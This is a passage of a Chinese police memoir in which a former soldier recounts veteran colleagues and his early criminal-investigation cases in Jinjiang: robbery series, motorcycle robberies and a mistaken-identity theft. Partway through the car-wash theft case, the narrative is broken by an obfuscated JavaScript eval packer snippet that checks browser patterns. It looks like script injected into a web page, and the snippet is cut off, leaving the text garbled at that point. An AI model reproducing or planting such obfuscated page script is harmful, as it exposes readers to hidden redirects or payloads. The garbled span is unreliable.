快，那几个人，则咳嗽着，捂着嘴，从浓烟中跑出来，老林就用闽南话，骂那些人，一路骂过去，我听着好过瘾。 短短两年，在鞋都镇经历非常多的火灾，大部分工厂着火，因及时发现，疏散人员，都没有没有造成人员伤亡，这是万幸，后来经过长期的整治，工厂的规范管理水平得以提升，火灾频发的态势得以控制下来，我们社区民警得以喘口气。 不过，我调任刑警以后，还是听说有一起火灾事故死亡一人，这起火灾发生在四境社区，社区民警也是一位老兵，转业回来的，因为交流较少，其情况并不了解，当时工厂低楼层着火，堵住了逃生通道，工人只能往楼上走，到了顶楼，等待救援，有工人发现隔壁那栋楼与着火的楼相距很近，胆子大的就从天台跳了过去，得以安全逃生，剩下的人，也跟着跳，其中有一人，出了意外，不慎跌落，坠落身亡。这起事故调查了很久，民警也因此事，调离社区岗位。 四、峥嵘岁月，本色犹存 铁打的营盘，流水的兵，军营如此，警营也是如此，岗位总不是不断变动，唯一不变的是那颗炽热的心。 祖哥，也是一名军转干部，经历特殊，原南京军区直属特战大队一名连部，所在部队，作为尖刀，在战时要执行各种作战任务，□□做准备的战术任务，他们日夜训练，枕戈待旦，随时听候命令，上天入海，两栖作战。后来个人觉得年龄大了转业到安平市公安局任职，最初在看守所工作，我经常押送嫌疑人到看守所羁押，因此而结识。祖哥，为人谦和，性格乐观，从部队来公安系统，要面临很多问题挑战，看守所的工作，单调枯燥，而且上班时，都呆在监管区内，如同坐牢，他从部队养成的不认输的作风，我没见过他抱怨过工作，工作之余，还自学心理学课程，考取了二级心理咨询师资格，成为警察心理学教官，为同事开展心理调适辅导工作。从部队过来的干部，总是让大家佩服。 2017年4月，安平市公安局为2016年以来退休民警举办光荣退休仪式，那个时候，我正准备从晋江调回九江，正在办理人事手续。在照片中，我看到老林的身影，跟他一起还有几位老兵，既是军人老兵，也是公安战线的老兵，久经沧桑，仪式上，带队的原安平市局副政委张炳煌将手中的旗帜递交给安平市公安局新一代的民警手上，完成使命交接。 张炳煌，也是一名从战场上归来的老兵，公开资料是1957年3月出生，2017年4月份退休，曾任晋江公安副政委、党委委员。他少年勤奋求学、青年参军入伍、中年复员从警、退休后仍然心系公安、发挥作用，他当兵上过战场、在海军当舰长时载过党和国家领导人，42年的军旅和警营生涯不论在什么阶段、担任什么职务、从事什么岗位、履行什么职责，都能严格要求自己，做出一番成绩，真正体现对党忠诚、服务人民、执法公正、纪律严明的人民警察特质。 1976年，张炳煌高中毕业参军入伍，被所在炮兵连队选为2瓦电台话务兵兼译电员。后随部队参加对越自卫反击战，1979年2月16日，部队奉命从广西边境板盎屯村出发，经布局关附近的原始森林穿插进入越南境内执行战斗任务，张炳煌被转配到侦察大队负责电台译电和勤务工作，与部队先行潜入越南境内，提前开始了战斗任务，一个多月的艰苦战斗，历经生死考验，亲眼目睹身边战友一个个倒下，最后百战成钢，终于凯旋归国。回国后，参加高考，考入海军舰艇学员，成为一名海军军官，一直干到从舰长职务上转业。据说还参加了西沙海战。但是他很少提起这段往事，深藏功与名。 2000年，戎马半生的张炳煌响应国家号召转业复员到安平市公安局任经侦大队教导员，他从零开始学习业务，很快就熟悉掌握了经侦业务，并且业绩突出，后升任大队长、局副政委等职务。 2017年4月，张炳煌光荣退休，本可以回家含饴弄孙，享清福的他仍然响应单位邀请，在基建岗位继续发光发热。从警17年来，他坚持每周上6天班，从不迟到早退。 张炳煌、老林，这些军人出身的老警察，坚守信仰、忠诚履职，浑身充满正能量，战场上的生死经历让他对生命更加珍重，对警察的职业有更深刻的理解。 祝各位依然战斗在公安战线上的老兵身体健康，阖家幸福！ 7. 第 7 章 一、初破系列抢劫案 2009年年底，我参加专案组，在九江修水县抓获洋埭的命案的真凶，案件得以告破，保住了当年的命案破案率，因为这件案件。回到晋江，我收到领导的正式通知，把社区工作整理一下，准备移交新民警，我被调去鞋都刑侦中队工作。一切都是那么突然，一点心理准备都没有，就这样，我开始了我的刑警生涯。 当时鞋都刑侦中队长姓林，从重案队调过来，他是我的伯乐，他发现我喜欢侦查研究分析案件，当时所长是副局长兼任，通过他协调，我以借调的方式先到刑侦工作。当时鞋都中队加我共17人，按照探组模式开展工作，共四组，一二三组负责日常的接警工作，我被分到第四组，第四组主要以侦查案件为主要工作，因为当时案件太多，大部分都应付不过来，很多案件立案后石沉大海，嫌疑人逍遥法外，林队长下决心要改变现状，让作奸犯科者受到法律制裁，做出刑警应该做的事情，第四组又称现案组，麒麟、国权、医生和我，麒麟和国权搭档，我和医生搭档，日常办案侦查案件相互协助。刚开始的时候，我和医生负责抢劫类案件的研判侦查，国权麒麟负责抢夺和盗窃。我们每天上班，就把头天发生的案件，全部筛选一遍，从简要警情中，找出可以侦查的线索，开展数据分析和研判工作，通过各种侦查，找出犯罪嫌疑人，然后抓捕，审讯，羁押，报捕起诉。那几年鞋都中队每年起诉约400人，其中有一半是现案组的成果。刚开始主要是针对团伙、系列性案件，开展侦查研判工作，后来案件下降，单案也研判。 到中队上班第一天晚上值班，就接到报警，有人在鞋都镇庵上村往洋埭村的河边公路上被三名男子持刀拦路抢劫，被抢摩托车几身上财物，我带着受害人到现场查看情况，这是河边的一处三叉路口，路面都是土，没有铺装水泥，现场偏僻，但是因为是去洋埭村的近道，不断有人经过嫌疑人事先埋伏在路边农田地里，有人经过时跳出来打劫。 经过梳理近半年来的案件，我发现类似做案手法和人员的拦路抢劫案，有十几起，通过被害人还有路人的描述，经过与医生讨论，这可能是同一伙人所为，但是医生提醒我，他只相信证据，要找到更多证据证实这个推断。半年来，仅这条路上，夜间发案五起，在仙石、庵上偏僻路边具有此类案件发生。嫌疑人手段恶劣，直接带刀具出门，已经有人受伤。正直年底，一直有恶性案件发生，大家都焦头烂额的，这样下去迟早出人命，都时候压力会更大，一定要早点破案。 这时，二组组长曹sir，告诉我们说，有人举报说又抢劫犯，我们听到后，心头一亮，立刻从现场返回单位，见这位举报人。 这是曹sir的一位线人，举报人告诉我们，这伙人都是贵州人，住在仙石村一出租房内，年底了都准备回老家了，他也是听一名女孩子提起过，说这几个人抢摩托车回来卖，现在有钱了，准备回老家结婚。但是举报人没有弄清楚嫌疑人的真实身份，就只是弄清楚住在哪里。为了不打草惊蛇，又快速核实身份，我们制定一个方案，就是直接以清查出租房的名义，看一下租房人员情况，带回来排查，审查。 决定好方案后，当晚曹sir领队，我一个，他的两个组员，四个人带上六名辅警，刚好十个人，开了一台丰田海狮面包车，直接到了嫌疑人居住的租房，房间位于二楼，是一栋老式的石头房子，二楼的楼梯在房屋外卖呢，铁坐的，用铁条焊接而成的，走在上面还有特有的金属发出的声音，走动的时候，楼梯还会晃动。楼下留了四个人，我们六个人上楼，整个二楼，当时就只剩下一对情侣在住，经过核实，男子为贵州人，女子重庆人，正准备把人带回审查的时候，我下意识的看了一下床底下。 我看了一下床底下，我的乖乖，正式踏破铁鞋无觅处，得来全不费工夫，虽说床底下像是一个垃圾堆，堆着摩托车车牌、各种包、打开包里面还有驾驶证、行驶证、身份证，经过认真清理，这些物品都似曾相识，他们的主人，正是我白天整理汇总的近期被抢劫的受害人，找到这些物品后，我们直接把男子上拷，迅速找了二楼其他房间，都已经没有人了，陆陆续续找到一些被抢受害人报失的物品，不够都是一些不值钱的东西，原先住的因该是该系列案件的同伙。之前受理报警，都是值班民警制作报案询问笔录，很多值班民警没有刑事侦查的经验，问的都不仔细，有时候刑警拿到原始笔录以后，为了获得清晰的线索，还要找到被害人重新询问，大部分被害人都会认真配合工作，也有少数人，不理解，不愿意配合，甚至觉得麻烦，认为报警纯粹多余，给自己添麻烦，还有的嫌弃刑警问得太仔细，不认真配合，群众的不理解，我们只能多工作，多费口舌，身心俱疲。林队是资深侦查员，看到这种情况，就与派出所协调，改变了之前的接警方式，不再由派出所值班民警来制作询问笔录，再移交立案，而是只要涉及刑事案件的报警，直接由刑侦中队每天安排一名当班民警来做询问笔录，自此，被害人不用再跑两趟，而且笔录质量明显提升了。不过，来报案的群众不理解，为什么警察要问，事发时自己的穿着，携带的物品详细情况，哪怕一根绳子一只笔都要问清楚，至于嫌疑人的情况，则问得更详细，后来我也每隔一段时间轮到值班接警问笔录，也经常遇到群众不理解，我都很无奈，还要耐心解释，这是为了破案，群众还会呛我，这案件能破吗，我只能回答，条件好就可以破，那时的破案率确实很低，手段也比较单一，后来技术革新以后，两抢的破案率一度100%。不管怎么说，前段时间耐心的工作，总算有了回报。这次物证齐全，案件可以破了。 事实证明，我还是太天真，经验太少，犯罪嫌疑人的对抗程度，超出我想象。电影《天下无贼》中有一句台词：我最讨厌你们这些抢劫的了，一点技术含量都没有。现实生活中，人民群众对抢夺抢劫可是深恶痛绝。对我而言，我则恰恰相反，在日常工作中，我很喜欢这些抢劫的，头脑简单，但凡有些脑子的人都不会抢劫好不好，容易被抓，属于严重刑事犯罪，刑罚很重，情节特别严重的，可以判处死刑；在侦查工作中，证据线索好找，案件好破，后来破案率高就可以证明。 犯罪嫌疑人没带脑子去抢劫，但是带了脑子来对抗审讯啊，那个时代，移送起诉的案件，必须要有口供，否则检察院法院就很难审下去了，不过随着司法以及科技的进步，零口供案件很常见。09年那个时候，还是比较少的。我们兴致勃勃的把嫌疑人带回单位审讯，获取嫌疑人供述笔录，为后期的诉讼工作获取证据。虽然这不是我第一次参加刑事审讯，但是这位贵州的抢劫嫌疑人，还是给我留下了深刻的印象，在大量的证据摆在面前，犯罪嫌疑人什么都不说，一直否认，当时为了案件顺利进行，我们一边审讯，一边通知被害人过来辨认，经过多名被害人指认，可以确认，我们抓回的犯罪嫌疑人就是抢劫案的嫌疑人。 按照刑事诉讼法，我们必须在24小时拿下案件，就是说嫌疑人抵达公安机关开始，24小时内要送到看守所，这24小时，我们要完成，讯问笔录的制作、相关取证、辨认现场、整理案件资料、制作相关法律文书，然后押送看守所羁押。效率高的时候，也要八九个小时，遇到这种硬茬，基本上24小时就不用合眼了，还有一些留学欧美的所谓法律专家，要求保障犯罪嫌疑人的各种权利，包括休息权，事实上，犯罪嫌疑人比警察休息得好多了，从加入鞋都刑侦中队，连续多年，我的眼睛几乎都是红的，布满血丝，直到我调离，我才慢慢恢复。不只是我，国权、麒麟、医生都一样。总说刑警眼神吓人，可能说的是眼睛吧，老是红红的，还习惯盯着别人，能不吓人吗。 犯罪嫌疑人已经抓获，控制在我们手上，打起十二分精神，要像打了鸡血一样，高度紧张起来，身体要高速运转起来，即要完成案件，又要保证所有人安全，特别是嫌疑人，不能有闪失，还要注意时间，执法者不能知法犯法，必须严格按照法律规定程序来。刑警身体健康不好，都是有原因的，2013年的时候，安海老中队长时年55岁，被称为老黄牛，当时为了给年轻民警减轻负担，主动承担送嫌疑人到看守所羁押的任务，当嫌疑人收押以后，绷紧的身体放松下，但是直接晕倒在现场，后来查明，原来有高血压，靠着信念一直硬挺着。 其实，嫌疑人没有被送到被告席前，我们都没有办法放松下来。抢劫嫌疑人已经来所几个小时了，外围证据已经固定下来，曹sir决定来点真格的，用现在流行的一句话就是“盘他”，老刑警都懂的，至于怎么盘，我就不描述了，目的是快速消耗对方的体力，拖跨对方的意志，再通过语言控制，让嫌疑人主动开口讲述。因为我是新来的，很多业务不熟，我负责观摩学习。 曹sir 是吉林人，朝鲜族，自称祖籍朝鲜，国字脸，身材魁梧，长得很帅，是晋江公安形象代言人，声音洪亮，很有磁性，90年代毕业于沈阳刑警学院，毕业后来晋江刑侦，一直没有离开过，见证和参与了晋江刑侦的发展历程，是荣誉的建设者之一。因为常年在闽南，做了闽南女婿，东北口音是不是穿插着并不标准的闽南话。审讯室里，坐在曹sir面前的这个贵州大山里来的后生成功的获得了关注，经过一番较量，或者“盘”，到快天亮时，我已经困得不行了，嫌疑人终于慢慢开口，对于每一起案件，都记得非常清楚，娓娓道来，像讲故事一样，经过核查，十几起案件，有发生在晋江的，还有发生在惠安县的，细节描述清晰，参与人员抢得物品等等说得很清楚，没有偏差。制作完笔录，我们匆忙吃了点早餐，然后分头行动，一部分人在家办理相关法律手续，整理案件，派出两名民警，带着两名辅警，押解嫌疑先做信息采集，然后开车去辨认现场，驻所中队的一个重要优势，就是可以调动派出所的辅警，派出所辅警中队高峰期有近40人，是一只机动部队，跟随我们参与抓捕行动，看守、押解嫌疑人等等，为我们减轻了很大的负担，承担了大量简单重复耗时费力的工作。 这起案件，后来由医生和我来主办，医生姓蔡，大我几岁，晋江内坑人，学医出身，大学毕业后，没有去当医生，选择到晋江公安，当了一名刑警，他是双胞胎，还有一个哥哥，警校毕业的，当时在刑侦大队重案队，兄弟两人长相很像，我刚到晋江时，老是把两人弄混，医生是我第一个我生死搭档，其实麒麟、国权我们四个人是个玩命小组、一起拼命，一起喝酒、一起吹牛。因为我是新手，医生也是老刑警了，他负责带我，亦师亦友亦搭档。因为还有两名同案嫌疑人没有到案，需要追捕，总共还有十几起案件，还有系列案件的深挖工作要做，工作量还是很大的，所以留给现案组负责。 通过前期的工作和嫌疑人的供述，我们确认了另外两名案犯的身份，通过数据研判，发现两人已经回到贵州，很快我们就锁定了他们的位置，在贵州当地警方的大力协助下，在其中一名嫌疑人的婚礼现场，成功将两人抓获，在当地的审讯很顺利，他们很沮丧，抓到他们的时候，他们的意志已经崩溃，然后将两人押解回晋江。 我们通过深挖，核实了十八起案件，半个月后，将三名嫌疑人借出，前往辨认现场，整个过程很漫长，由于地点分散，在晋江的内坑、鞋都、泉州的惠安、洛阳镇等地，我们在洛阳镇国道边一家小饭馆，停下来吃午饭，我们一行十几个人，我和医生还有多名辅警，带着三个穿橙色马甲戴手铐的人，饭馆的小包厢里坐的满满的，这是我第一此跟嫌疑人同桌吃饭，医生则比较自然，还特意多点几分肉多的硬菜，说是看守所没有什么肉吃，嫌疑人态度不错，难得出来一趟，请他们多吃点肉，吃完饭继续辨认现场，直到快下班，才辨认完，将嫌疑人还回看守所。 这起系列案件最后核实认定十八起案件，移送法院起诉的时候，我不在，按照刑法，判罚是十年有期徒刑以上，那时我已被抽调参加扫黑专案组，参与一个□□组织团伙案的侦破工作。也就是从那时开始，我就成了鞋都刑侦的机动部队，奠定了我消防队员的地位，中队遇到比较急的案件，派我去；抽调专案，派我去；追捕逃犯，派我去；领导交办的案件，派我去；难以侦破的案件，派我去。有两年时间，我的工作状态是，不是在出差，就是在准备出差，有一半时间，我飞往全国各地，开展各项工作，追逃，取证、押解等等，不过也从那时起，我也喜欢上出差，到处看一看，结交全国各地的同行。 二、再破菜农抢劫案 2010年夏，在鞋都镇、西滨农场发生了多起针对摩的雇车抢劫案件，其中一名摩的司机被刀刺伤，案件性质恶劣，随时有可能再发案，有致人死亡的可能。领导要求我们中队尽快侦破。抢劫案，主要我和医生负责侦查工作，当时鞋都刑侦中队，辖区包括鞋都镇，西滨镇、西滨农场。主要负责刑事案件侦破工作，并指导西滨所办理普通的简单的刑事案件，他们办案不多，有几次领导派我去帮忙或者指导他们。 经过梳理，案件主要是上半夜，对象是摩的司机，嫌疑人先是雇佣摩的司机驾驶摩托车，到比较偏僻的位置，以西滨农场土路较多，然后拿出刀，实施抢劫，多名摩的司机被抢，因发生时间多集中在上班夜，天刚刚黑，摩的司机防备心比较弱，经统计有三辆摩托车被直接抢走，司机的财物也被抢。 其实辖区近一年所有抢劫案件，我已经收集整理，在做相关分析，我把所有类似案件统计分析，雇车抢劫案件非常少，发现辖区次类案件也不多，通过嫌疑人身体特征作为依据串并，发现疑似同一伙人做的案件，都是同一个时间段，但是案件相隔时间近两个月，并不是连续做案，有些反常，通常，玩抢劫的，钱来得快去得很快，需要不断做案获取财物。 收到领导派发任务以后，我开始了数据整理分析，被抢摩的司机，身上财物都被搜刮干净，现金、手机等，我发现手机都是很便宜的诺基亚手机。嫌疑人真是穷疯了，什么都拿。 通过对被抢诺基亚手机开展数据侦查分析，我经过筛选，找到了一份通话清单，有“一个号码”在案发时，很神秘的出现在案发现场，有两次是，这两次现场，都位于西滨农场内。 西滨农场，分为两部分一部分是安平市西滨垦殖场，另一部分，是解放觉陆军某部的军垦农场，不过部队管理混乱，军垦农场的地，分成很多部分，一部分租给工厂，一部分外地来的农民，他们重拾传统，在他乡种菜卖给当地人，这些人来自各地农村，没有一技之长，到晋江务工，工作不好找，收入低，没办法适应工厂的生活节奏，其中一部分人，又重操旧业，开始了修理地球的业务，以种菜为业，他们来自全国很多地方，广西，江西，重庆，四川比较多，我们称他们为菜农，携家带口住在菜地里搭的棚子里。每天辛勤劳作，下午准时从西滨出发，将地里收的菜，送往菜市场或者有人收购点；每天他们成群结队，骑着三轮摩托车，很多是用两轮摩托车改装的，类似边三轮，旁边是个边斗，不过是个货斗，通常里面全是地里收割的蔬菜，码得很整齐。菜农定时送到市场交易，保障市场供应。 从西滨镇到农场，有两条水泥路，进入军垦农场范围以后，道路就变成了泥土路，在路上还有一块明显的牌子，军事管理区，先是经过一片工厂区，离开工厂区过了一条河，就是泥土路了，沿着泥土路，绕两道弯，经过一片海边防风林，就可以看到很多菜地，沿着土路两旁的菜地是石棉瓦搭建的人居住的棚子，很多棚子外还晾着衣服，大部分住人的棚子外都停放着摩托车，这是菜农的主要交通工具。 我开始着手分析雇车抢劫案件，每年都有几起类似的案件，很少成系列的，发生地点也毫无规律性，案件暴力程度较高，因为抢摩托车，摩托车是摩的司机的生活工具，一般遇到抢劫反抗程度较高，常有人因为死伤，这几年的致人死亡的案件都已经破案了，还有一些案件可能线索不太好，造成的后果没那么严重，就搁置了。当时此类案件一直在下降，哪怕有发生一起，大家都很警惕，担心未能及时破案，嫌疑人再次作案就会致人死亡。第一起在鞋都镇南霞美到西霞美中间的土路上，这条土路后来铺成了水泥路，一直连接西滨镇；第二起在西滨农场菜地和工厂区中间的土路上，靠近小河边，一名小个子男子雇车到该地点时，被另一名在此等候的男子拦下，两个遂实施抢劫，受害人反抗，被其中一名嫌疑人持刀刺伤。 案件地点：嫌疑选择的现场都是偏僻的小路上，来往的人车较少，周边没有人居住的地点，类似荒郊野外，连呼救的机会都没有，晚上没有路灯，黑灯瞎火的。受害人目标单一，就是摩的司机，手段也单一，就是在路边拦一辆摩的，到了偏僻地点亮出凶器，抢走所有财物。经过询问被害人嫌疑人上车地点，也不一致，但是基本上都在鞋都镇辖区内，发案时间晚7点到9点之间，属于正常活动时间，两起案件，现场能提供的线索不多，嫌疑人留下的线索也很少，我们花了大量的时间和精力一无所获，第一起案件发生后，我们就已经开始侦查工作，第二起案件发生，更是兴师动众展开人海战术行动，但是毫无进展。奇怪的是，我们担心会再次发生案件则一直没有发生，难道嫌疑人是流窜过来的，做了两起案件就走了。两个月过去了，当案件已经被压在桌头卷宗堆里的时候，又传来消息，第三起案件发生，嫌疑人抢走被害人摩托车、手机、钱包等物。 受害人向我们描述，嫌疑人为两个人，都是年纪很轻的小伙子，个子很矮，云南口音，看上去很老实，两个人在鞋都镇梧埭村上车，要去石狮，并且按照对方要求抄小路，结果到了那条土路上，嫌疑人叫停车，接着其中就拿出一把刀，受害人看到有刀，直接就跑了，跑到很远才敢回头看，嫌疑人看他跑远，就将车骑走，受害人的钱和手机放在摩托车邮箱侧边的包里，应该是被拿走了。受害人走出来，到了西滨镇找到路人报的警。 与之前的案件不同，雇车抢劫案件，我们破获过很多起类似案件，一般都是一个人去雇车，余下一人或者多人在约定地点埋伏，到了以后一起动手，人数一般两到三个人，也听说有更多的，不过我们最多的时候抓过团伙是4个人，包括一名女性，女性专门负责雇车，一名弱女子雇车，摩的司机通常会放松警惕，偏僻的地方也敢去，所以说万事都不可以掉以轻心，否则要付出代价，女人的杀伤力更可怕。 第三起案件被害人带着我们返回到现场，与上一起案件发生的位置，相差几百米，后面这两起案件都描述嫌疑人都有一名矮个子年轻男子，基本上可以认定是同一伙人干的，直觉告诉我不会这么巧，不过对于刑警来说，我们需要更多的证据证实。 我们开始访查，离现场最近的是住在不远菜地里自建棚中的菜农，经过挨家挨户询问，菜农们表示没有人有看到异常。案发后摩托车去哪里了，没有人看到，那个时候视频监控极少，晚上效果也差，无法看清，现场周围更是没有，各路侦查下来都没有发现线索，案件一度陷入僵局。专案组忙活了几天之后，案件继续由医生和我继续侦查，我们梳理整个案件，发现还有一个很重要的细节漏掉了，那就是被害人遗留在摩托车里手机，这成了我们最后的稻草。 手机是一部诺基亚普通翻盖手机，翻了一下型号：诺基亚7070 Prism，当时的新机手机也才900块人民币，而且受害人已经用了两年了，不过这手机质量很好，通过调取手机使用情况，发现案发后，被害人的手机还在使用，通过话单分析，发现案发后主动打出去的电话，案件迎来了转机。 话单的研判是我们最后的杀手锏了，通过对被叫号码的分析研判，基本可以确认，案犯就在那边广袤的土地里，为什么说是广袤呢，那片地有几千亩，由水塘，水池，交叉的河流，防护林带、水渠、稻田，和大面积的菜地组成，还有百八十个菜农自建搭建的棚子散落在这片土地上。 经过分析研判，得出我们要找的对象就藏匿在这片土地上，根据话单等数据的分析，嫌疑人为广西人，一直在河里活动，基本上可以确认，多起案件是同一伙人所为。 由于那个区域比较特殊，手机无法准确定位，都是一个大概的范围，无奈之下，我们开始排查，经过深入排查，发现虽然是种菜，但是也划分区域，江西人跟江西在一起，地也连在一起，四川人跟四川人在一起，地也连在一起，从广西过来的菜农非常多，分成好几片，广西人比较好认，普通话不好，皮肤非常黑，个子都较矮，特殊的颧骨，面部特征比较容易区分。我们简单制定了一个抓捕计划，通过手机确定主人，然后动手抓人，我们一路排查，最后在河边一处棚子里，发现了我们要找的手机，那部手机证实是被害人的手机，棚子里住着的两个广西籍年轻男子，立即就被我们铐住押回，棚子门口，我看到一辆改装过的菜农的摩托车，就是用两轮摩托车加装一个边斗用于拉菜的那种。我查看了一下车架号，车架号部分磨损，但是确认是被害人被抢走的那台。 带回的两名广西籍男子，经讯问，为姐夫和小舅子，姐夫是种菜的，小舅子来了几个月了，一直没有事情做。为了进一步确认身份，请被害人过来辨认，经过辨认小舅子就是抢劫嫌疑人，而姐夫，被害人没认出来。嫌疑人已经到位，剩下的事情就是查清楚案件始末，进入诉讼程序。 经过八个小时的艰苦审讯，小舅子交代，他从广西柳城来晋江找事情做，暂时投靠姐夫，姐夫种菜为生，典型的菜农，姐夫跟小舅子说，想要一台摩托车，他每天要么借摩托车送菜，要么骑三轮自行车，很辛苦，但是又没有钱买。小舅子就拍着胸脯说，他去弄，送给姐夫。于是小舅子就找到一起玩的老乡（另案处理）帮忙，去弄一台摩托车回来，计划是去抢一台摩的司机的，到时候摩托车归小舅子，老乡拿抢来的钱，老乡欣然同意。于是抢了第一次，在南下美和西下美中间土路那次，离镇区很近，得手以后，他们骑摩托车往回走，看到有警察设卡检查，心虚怕被拦下来，就绕小路走，因为路不熟，到处转圈，走到车子没有油了，就把摩托车扔路边，走路回来。因为抢到摩托车，又弄丢了，他们决定抢第二次，于是没过几天，他们又动手抢第二起，这次他们决定在附近下手，这样就可以避免迷路，第二次被害人反抗，直接拿刀刺伤后，被害人跑了，他们将车骑回来，送给姐夫，姐夫很开心，得知小舅子这么不容易抢来摩托车送给自己，于是请小舅子和老乡喝酒吃肉。第二天，就把摩托车车牌卸了，然后去店里改装成了边三轮，每天骑着这辆摩托车送菜去批发市场。直到两个月后有一天下午，他再次送菜回来，遇到交警查车，他这台车属于非法改装，又没有手续，被交警扣押，他说要回去拿证然后就跑回去了，可能因为是菜农，交警并没有核实查证，而是把摩托车扣押，用车运到停车场，按照规定，拆除非法改装，恢复原貌才能上路，结果人家直接不来处理。 姐夫失意的回到菜地，得知姐夫摩托车没有了，小舅子决定再次去抢一台，他请到老乡一起，故技重演，又抢回一台摩托车送给姐夫，第一台是豪福牌国产仿太子摩托车，第二台是正宗铃木豪爵太子摩托车。姐夫又花几百块重新做了个边斗，继续送菜，直到我们出现在他们面前。姐夫的供述也印证了小舅子说的话，经过辨认，老乡的身份我们也核实清楚，随后启动了网上追逃。而姐夫、小舅子则一起进了晋江看守所羁押。等待他们的是正义的审判。 三、逃犯乌龙 鞋都中队的工作紧张而有序，每天都很充实，各项工作考虑着我们安排时间的能力。我虽然是专司抢劫案件的研判侦破工作，但是我要参与值班，就是受理群众报警，刑事案件的询问调查取证工作，我们有个规矩，个人值班时受理的案件，个人先期侦查处理，实在没有线索了就移交内勤整理，由现案组串并研判。现案组工作任务繁重，每个人每个月只用值一天，而其他三组的同志，就辛苦一些，每个月多值几天，他们处理的案件，就是接警的案件，群众扭送的嫌疑人案件，还有就是其他民警抓获的涉嫌刑事犯罪的嫌疑人处理，以及现案组抓获的嫌疑人调配给他们处理后续的案件。 每个月值接警班那天，固定像打仗一下，少则十来个报警，多则三四十，实在忙不过来，就请搭档帮忙处理。那时10年6月份，我刚到开始接警班，那天就接到一家鞋材公司的员工来报案称，其洗车的时候，将六万公司的货款放在了扶手箱内，洗完车回到公司，才发现六万变成了五万，怀疑被洗车场员工偷走。这个案件太简单不过，容易侦查。报案时已经是第二天，我到洗车场现场走访，洗车场位于花亭口村，我在这个村任过几个月的片警，很熟悉情况，很快洗车店老板告诉我，公司有个河南籍的小员工李某，就是参与洗了报 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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由于李某已经开除了刑拘证，现在没有嫌疑人了，就必须解除，并且删除相关网上资料；重新给林某办理刑拘，并且办理上网追逃，等河南警方抓人后，过去移交。7月，河南警方就通知我过去移交人员了，我和医生两人就出差赶赴河南，将嫌疑人押回晋江处理。原来林某刚满18岁，之前未满18岁的时候，为了能出来打工有人收，就拿了他舅舅李某的一代身份证，是黑白照片，比较容易过关的，就来到晋江打工，找过多份工作，每份都做不久。那天洗车时，擦洗内饰时，发现一辆车子扶手箱内有很多现金，装在一个塑料提袋内，经过一番挣扎，在交车的时候，悄悄从中拿了一万元一捆的现金，装进口袋里。当晚，他就请假回老家，在老家，带着女朋友四处玩，很快就将钱花光了，这个时候他舅舅李某被公安机关抓走，他吓了一跳，不久舅舅放出来，公安机关劝林某自首，林某就到公安自首了，还如实供述了整个犯罪经过。案件总算办完，被害人损失财物没能被追回，最后在洗车场林某还有一千二百元的工资，全部赔付给了受害人，仅此而已，而林某因投案自首，最后晋江人民法院被判处有期徒刑10个月。 这是当刑警经历的唯一一次巨大的乌龙事件。这件事给了我几个重要的经验：第一，不能轻信任何人的一面之词和笔录，被害人也算在内，他们的所有描述，都带着严重主观，加入了很多主观想当然，与客观事实存在偏差，必须加以判断，要相信证据和自己的判断，这起案件中，洗车场大部分员工和老板都见过李某的身份证复印件，就在案发后，因为被害人发现钱不见了，去找洗车场，洗车场老板拿出身份证给报案人看，叫被害人去报案。最后我提供辨认照片时，并不知道他们事先已经看到过照片，就算跟本人不像，在众多照片中，没有林某照片的时候，他们会先入为主，错误的把李某的照片当成林某了，把我带进了沟里，而当有员工提出来说不像的时候，并没有引起我的警觉，以少数服从多数的想法忽略过去了，其实很多时候，真理都掌握在少数人手中；第二、做事情要细致，多质疑，反复多问自己几次；第三、身份证、银行卡等物品千万不要借给其他人用，会给自己惹来很多麻烦；第四、保管好自身财物，任何时候任何地点，贵重财物必须随身携带，或不能离开自己的视线，特别要说的是车子不是保险柜，不要放贵重财物，你在任何时候一个小小的失误都是在给坏人机会，最后丢失财物。还有别带那么多现金出门，遇到事情及时报警，不要等，不要过度自信自己能找回来，警察都找不回来。遇到抢劫，不要反抗，保持镇定，记住嫌疑人所有细节信息，可以破案，早日追回损失。 四、富二代嫌疑人 随着经济的快速发展，各种消费娱乐设施越来越多，我们辖区靠近市区的那侧，开了多家的酒吧夜总会，有一家叫杜尚，真的是堵上，自从开业后，就没安生过，不断有各种警情发生。最多的是打架斗殴，刑侦不管，只要不出人命都是派出所在处理。不过各种财物被盗，就是我们的事了，最常见的就是手机被扒，各种被偷。 酒吧、夜场每天上演各种故事，嬉笑怒骂，人间冷暖、岁月沧桑，观众来去匆匆，人聚人散，喧哗过后，你再望去，只有我们还在坚守，一直都在，从未离开。 13年春，有一天晚上我带队值班，出警的兄弟押送来一个胖子，涉嫌在一家夜场内，盗窃手机。被害人是该夜场跳舞的女郎，前日，她上台跳舞时，将自己一部新款苹果手机放在舞台边上，然后跳舞去了，跳完舞发现手机不见了，当时只有这个胖子在舞台边走动，跳完舞，胖子和手机都不见了。才过了一天，今天这胖子又出现在夜场喝酒，就被保安当场抓住了，然后报警扭送到这里来，被害人说这款苹果手机去年刚发布，价值五千多元，足够刑事案件追诉标准了。 对每个人身份进行核查，是我的个人工作习惯，先问清查清当事人的身份情况，不管是报案人还是嫌疑人，因为这种习惯，让我在值班受理报警的时候，抓了一个网上逃犯，那个时候，我刚刚到刑警中队，在学习情报数据研判分析，利用空余时间，我就把很多涉嫌人员的身份资料分析了一遍，后来觉得不过瘾，又把被害人证人等资料分析了一遍，找出与案件关联性，分析人员之间的关系。这天我照例是值班接警，有一个哥们来报摩托车被盗，这是最常见的案件，当时辖区每天被盗摩托车，高峰期超过十台，为了节省时间，提高效率，我们备有专门的笔录模板，只要填词进去就能完成，一般五分钟做完笔录，配上摩托车的证件资料，就可以完成立案的基础取证工作，那天晚上，我事情较少，本来五分钟能做完的笔录，很有闲情逸致，问清当事人身份情况一下，就到内网进行查询，想着顺便分析一下当事人的关系网，奇怪的是，当事人自报姓名资料在内网找不到，于是，我再次要求其报父母姓名进行核查，不查不要紧，一查吓一跳，都没有资料，我有些不耐烦了，言语中感觉被害人有些不安或者不耐烦，我无意中抬头看了一眼报案人，却发现他的眼神在逃避，多年工作积累的经验和前辈们的口授心传告诉我，有情况！我将报案人的姓名到在逃人员那过了一下，发现其中一个在逃人员跟眼前的人很像，但是是晚上，整个二楼办公室空荡荡，就剩我一